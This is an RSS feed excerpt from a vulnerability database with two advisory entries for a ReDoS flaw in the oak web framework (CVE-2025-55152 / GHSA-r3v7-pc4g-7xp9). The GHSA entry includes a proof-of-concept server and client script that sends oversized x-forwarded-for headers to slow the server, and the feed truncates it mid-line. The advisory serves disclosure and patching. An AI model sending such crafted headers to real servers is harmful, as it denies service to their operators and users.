<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 09:49:02 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2025-55152</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2025-55152</link>
      <description>&lt;p&gt;oak is a middleware framework for Deno&amp;#39;s native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it&amp;#39;s possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;oak is a middleware framework for Deno&amp;#39;s native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it&amp;#39;s possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2025-55152</guid>
    </item>
    <item>
      <title>GHSA-r3v7-pc4g-7xp9 — Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers</title>
      <link>https://db.gcve.eu/vuln/ghsa-r3v7-pc4g-7xp9</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @oakserver/oak&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it&amp;#39;s possible to significantly slow down an oak server.&lt;/p&gt;
&lt;p&gt;### Vulnerable Code&lt;/p&gt;
&lt;p&gt;- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;- setup
```
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
```&lt;/p&gt;
&lt;p&gt;- `server.ts`
```ts
import { Application } from &amp;#34;https://deno.land/x/oak/mod.ts&amp;#34;;&lt;/p&gt;
&lt;p&gt;const app = new Application({proxy: true});&lt;/p&gt;
&lt;p&gt;let i = 1&lt;/p&gt;
&lt;p&gt;app.use((ctx) =&amp;gt; {&lt;/p&gt;
&lt;p&gt;// let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = &amp;#34;hello&amp;#34;;
});&lt;/p&gt;
&lt;p&gt;await app.listen({ port: 8080 });
```&lt;/p&gt;
&lt;p&gt;- `client.ts`
```ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]&lt;/p&gt;
&lt;p&gt;const data1 = lengths.map(l =&amp;gt; &amp;#39;A&amp;#39; + &amp;#39;A&amp;#39;.repeat(l) + &amp;#39;A&amp;#39;);
const data2 = lengths.map(l =&amp;gt; &amp;#39;A&amp;#39; + &amp;#39; &amp;#39;.repeat(l) + &amp;#39;A&amp;#39;);&lt;/p&gt;
&lt;p&gt;async function run(data) {
    for (let i = 0; i &amp;lt; data.length; i++) {
        let d = data[i];
        
        const start = performance.now();&lt;/p&gt;
&lt;p&gt;await fetch(&amp;#34;http://localhost:8080&amp;#34;, {
            headers: {
                // &amp;#34;x-forwarded-proto&amp;#34;: d,  // test1)
                &amp;#34;x-forwarded-for&amp;#34;: d,    // test2)
            },
        });&lt;/p&gt;
&lt;p&gt;const end = performance.now();
        console.log(&amp;#39;length=%d, time=%d ms&amp;#39;, d.length, end - start);
    }
}&lt;/p&gt;
&lt;p&gt;console.log(&amp;#34;\n[+] Test no…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @oakserver/oak&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it&amp;#39;s possible to significantly slow down an oak server.&lt;/p&gt;
&lt;p&gt;### Vulnerable Code&lt;/p&gt;
&lt;p&gt;- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;- setup
```
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
```&lt;/p&gt;
&lt;p&gt;- `server.ts`
```ts
import { Application } from &amp;#34;https://deno.land/x/oak/mod.ts&amp;#34;;&lt;/p&gt;
&lt;p&gt;const app = new Application({proxy: true});&lt;/p&gt;
&lt;p&gt;let i = 1&lt;/p&gt;
&lt;p&gt;app.use((ctx) =&amp;gt; {&lt;/p&gt;
&lt;p&gt;// let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = &amp;#34;hello&amp;#34;;
});&lt;/p&gt;
&lt;p&gt;await app.listen({ port: 8080 });
```&lt;/p&gt;
&lt;p&gt;- `client.ts`
```ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]&lt;/p&gt;
&lt;p&gt;const data1 = lengths.map(l =&amp;gt; &amp;#39;A&amp;#39; + &amp;#39;A&amp;#39;.repeat(l) + &amp;#39;A&amp;#39;);
const data2 = lengths.map(l =&amp;gt; &amp;#39;A&amp;#39; + &amp;#39; &amp;#39;.repeat(l) + &amp;#39;A&amp;#39;);&lt;/p&gt;
&lt;p&gt;async function run(data) {
    for (let i = 0; i &amp;lt; data.length; i++) {
        let d = data[i];
        
        const start = performance.now();&lt;/p&gt;
&lt;p&gt;await fetch(&amp;#34;http://localhost:8080&amp;#34;, {
            headers: {
                // &amp;#34;x-forwarded-proto&amp;#34;: d,  // test1)
                &amp;#34;x-forwarded-for&amp;#34;: d,    // test2)
            },
        });&lt;/p&gt;
&lt;p&gt;const end = performance.now();
        console.log(&amp;#39;length=%d, time=%d ms&amp;#39;, d.length, end - start);
    }
}&lt;/p&gt;
&lt;p&gt;console.log(&amp;#34;\n[+] Test no…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-r3v7-pc4g-7xp9</guid>
    </item>
  </channel>
</rss>
